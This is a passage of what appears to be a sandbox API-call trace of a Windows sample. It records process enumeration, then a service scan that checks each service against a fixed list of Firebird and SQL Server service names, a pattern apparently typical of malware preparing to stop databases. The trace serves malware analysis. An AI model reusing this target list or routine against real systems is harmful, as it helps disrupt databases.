pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0089.907] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0089.907] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0089.907] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0089.907] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0089.908] lstrlenW (lpString="msoia.exe") returned 9 [0089.908] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0089.909] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0089.909] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0089.909] lstrlenW (lpString="entering.exe") returned 12 [0089.909] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurement nut d.exe")) returned 1 [0089.910] lstrlenW (lpString="measurement nut d.exe") returned 21 [0089.910] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="ai element.exe")) returned 1 [0089.911] lstrlenW (lpString="ai element.exe") returned 14 [0089.911] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="divorce_mode_twelve.exe")) returned 1 [0089.911] lstrlenW (lpString="divorce_mode_twelve.exe") returned 23 [0089.911] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="clicking.exe")) returned 1 [0089.912] lstrlenW (lpString="clicking.exe") returned 12 [0089.912] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pack.exe")) returned 1 [0089.914] lstrlenW (lpString="pack.exe") returned 8 [0089.914] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="try-gtk.exe")) returned 1 [0089.914] lstrlenW (lpString="try-gtk.exe") returned 11 [0089.914] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counseling tmp.exe")) returned 1 [0089.915] lstrlenW (lpString="counseling tmp.exe") returned 18 [0089.915] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius_johnston_transmission.exe")) returned 1 [0089.916] lstrlenW (lpString="radius_johnston_transmission.exe") returned 32 [0089.916] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="j-portions-folders.exe")) returned 1 [0089.916] lstrlenW (lpString="j-portions-folders.exe") returned 22 [0089.916] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="samuel-clubs.exe")) returned 1 [0089.917] lstrlenW (lpString="samuel-clubs.exe") returned 16 [0089.917] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gaps_industrial.exe")) returned 1 [0089.918] lstrlenW (lpString="gaps_industrial.exe") returned 19 [0089.918] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jerry pure.exe")) returned 1 [0089.919] lstrlenW (lpString="jerry pure.exe") returned 14 [0089.919] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powerseller.exe")) returned 1 [0089.919] lstrlenW (lpString="powerseller.exe") returned 15 [0089.919] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="non firewall.exe")) returned 1 [0089.921] lstrlenW (lpString="non firewall.exe") returned 16 [0089.921] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coal-cottage-vt.exe")) returned 1 [0089.921] lstrlenW (lpString="coal-cottage-vt.exe") returned 19 [0089.921] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="revealsprimarilywalk.exe")) returned 1 [0089.922] lstrlenW (lpString="revealsprimarilywalk.exe") returned 24 [0089.922] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer_knitting_map.exe")) returned 1 [0089.923] lstrlenW (lpString="summer_knitting_map.exe") returned 23 [0089.923] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="latina_rv_anything.exe")) returned 1 [0089.923] lstrlenW (lpString="latina_rv_anything.exe") returned 22 [0089.924] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephonyassumption.exe")) returned 1 [0089.924] lstrlenW (lpString="telephonyassumption.exe") returned 23 [0089.924] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bd guidance.exe")) returned 1 [0089.925] lstrlenW (lpString="bd guidance.exe") returned 15 [0089.925] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfb8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0089.926] lstrlenW (lpString="conhost.exe") returned 11 [0089.926] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf90, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0089.926] lstrlenW (lpString="conhost.exe") returned 11 [0089.926] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lang hl gis.exe")) returned 1 [0089.927] lstrlenW (lpString="lang hl gis.exe") returned 15 [0089.927] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.928] lstrlenW (lpString="svchost.exe") returned 11 [0089.928] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0089.929] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0089.929] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0089.929] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0089.929] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0089.930] lstrlenW (lpString="conhost.exe") returned 11 [0089.930] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.931] lstrlenW (lpString="svchost.exe") returned 11 [0089.931] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0089.931] lstrlenW (lpString="cmd.exe") returned 7 [0089.931] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0089.932] lstrlenW (lpString="conhost.exe") returned 11 [0089.932] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0089.932] CloseHandle (hObject=0x358) returned 1 [0089.933] Sleep (dwMilliseconds=0x1f4) [0090.818] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f4d8 [0090.819] EnumServicesStatusExW (in: hSCManager=0x47f4d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0090.819] GetLastError () returned 0xea [0090.819] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d5a) returned 0x3684430 [0090.819] EnumServicesStatusExW (in: hSCManager=0x47f4d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3684430, cbBufSize=0x1d5a, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3684430, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0090.832] CloseServiceHandle (hSCObject=0x47f4d8) returned 1 [0090.833] lstrlenW (lpString="Appinfo") returned 7 [0090.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0090.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0090.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0090.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0090.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0090.833] lstrlenW (lpString="AppXSvc") returned 7 [0090.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0090.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0090.833] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0090.833] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0090.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0090.833] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0090.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0090.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0090.833] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0090.833] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0090.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0090.833] lstrlenW (lpString="Audiosrv") returned 8 [0090.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0090.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0090.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0090.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0090.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0090.834] lstrlenW (lpString="BFE") returned 3 [0090.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0090.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0090.834] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0090.834] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0090.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0090.834] lstrlenW (lpString="BITS") returned 4 [0090.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0090.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0090.834] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0090.834] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0090.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0090.834] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0090.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0090.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0090.834] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0090.834] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0090.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0090.834] lstrlenW (lpString="CDPSvc") returned 6 [0090.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0090.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0090.834] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0090.834] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0090.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0090.835] lstrlenW (lpString="ClickToRunSvc") returned 13 [0090.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0090.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0090.835] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0090.835] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0090.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0090.835] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0090.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0090.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0090.835] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0090.835] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0090.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0090.835] lstrlenW (lpString="CryptSvc") returned 8 [0090.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0090.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0090.835] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0090.835] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0090.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0090.835] lstrlenW (lpString="DcomLaunch") returned 10 [0090.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0090.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0090.835] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0090.835] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0090.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0090.835] lstrlenW (lpString="DeviceAssociationService") returned 24 [0090.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0090.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0090.836] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0090.836] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0090.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0090.836] lstrlenW (lpString="Dhcp") returned 4 [0090.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0090.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0090.836] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0090.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0090.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0090.836] lstrlenW (lpString="Dnscache") returned 8 [0090.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0090.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0090.836] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0090.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0090.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0090.836] lstrlenW (lpString="DoSvc") returned 5 [0090.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0090.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0090.836] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0090.836] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0090.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0090.836] lstrlenW (lpString="DPS") returned 3 [0090.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0090.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0090.837] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0090.837] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0090.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0090.837] lstrlenW (lpString="DusmSvc") returned 7 [0090.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0090.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0090.837] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0090.837] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0090.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0090.837] lstrlenW (lpString="EventLog") returned 8 [0090.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0090.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0090.837] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0090.837] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0090.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0090.837] lstrlenW (lpString="EventSystem") returned 11 [0090.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0090.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0090.837] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0090.837] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0090.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0090.837] lstrlenW (lpString="FontCache") returned 9 [0090.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0090.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0090.838] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0090.838] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0090.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0090.838] lstrlenW (lpString="gpsvc") returned 5 [0090.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0090.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0090.838] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0090.838] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0090.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0090.838] lstrlenW (lpString="iphlpsvc") returned 8 [0090.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0090.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0090.838] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0090.838] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0090.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0090.838] lstrlenW (lpString="KeyIso") returned 6 [0090.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0090.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0090.838] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0090.838] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0090.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0090.838] lstrlenW (lpString="LanmanServer") returned 12 [0090.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0090.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0090.839] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0090.839] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0090.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0090.839] lstrlenW (lpString="LanmanWorkstation") returned 17 [0090.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0090.839] 